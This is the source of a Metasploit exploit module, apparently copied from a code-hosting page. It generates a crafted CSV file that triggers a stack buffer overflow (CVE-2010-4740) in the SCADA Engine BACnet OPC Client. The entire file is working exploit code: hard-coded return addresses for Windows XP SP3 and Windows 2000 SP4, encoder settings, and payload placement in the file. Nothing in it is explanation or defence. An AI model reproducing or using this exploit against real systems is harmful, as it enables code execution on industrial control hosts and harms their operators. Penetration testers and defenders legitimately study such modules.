Path: blob/master/modules/exploits/windows/fileformat/bacnet_csv.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::FILEFORMAT910def initialize(info = {})11super(12update_info(13info,14'Name' => 'BACnet OPC Client Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in SCADA17Engine BACnet OPC Client v1.0.24. When the BACnet OPC Client18parses a specially crafted csv file, arbitrary code may be19executed.20},21'License' => MSF_LICENSE,22'Author' => [ 'Jeremy Brown', 'MC' ],23'References' => [24[ 'CVE', '2010-4740' ],25[ 'OSVDB', '68096'],26[ 'BID', '43289' ],27[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-10-264-01' ],28],29'DefaultOptions' => {30'EXITFUNC' => 'process',31},32'Payload' => {33'MinNops' => 0,34'MaxNops' => 0,35'Space' => 698,36'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),37'StackAdjustment' => -3500,38'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",39'EncoderOptions' =>40{41'BufferRegister' => 'ECX',42},43},44'Platform' => 'win',45'Targets' => [46[ 'Windows XP SP3 English', { 'Ret' => 0x77e26323 } ],47[ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],48],49'Privileged' => false,50'DisclosureDate' => '2010-09-16',51'DefaultTarget' => 0,52'Notes' => {53'Reliability' => UNKNOWN_RELIABILITY,54'Stability' => UNKNOWN_STABILITY,55'SideEffects' => UNKNOWN_SIDE_EFFECTS56}57)58)5960register_options(61[62OptString.new('FILENAME', [ false, 'The file name.', 'msf.csv' ]),63]64)65end6667def exploit68csv = "OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\"69csv << rand_text_alpha_upper(185)70csv << [target.ret].pack('V') + rand_text_alpha_upper(4)71csv << payload.encoded + rand_text_alpha_upper(750 - payload.encoded.length)72csv << "\\scada,0,0,\n"7374print_status("Creating '#{datastore['FILENAME']}' file ...")7576file_create(csv)77end78end798081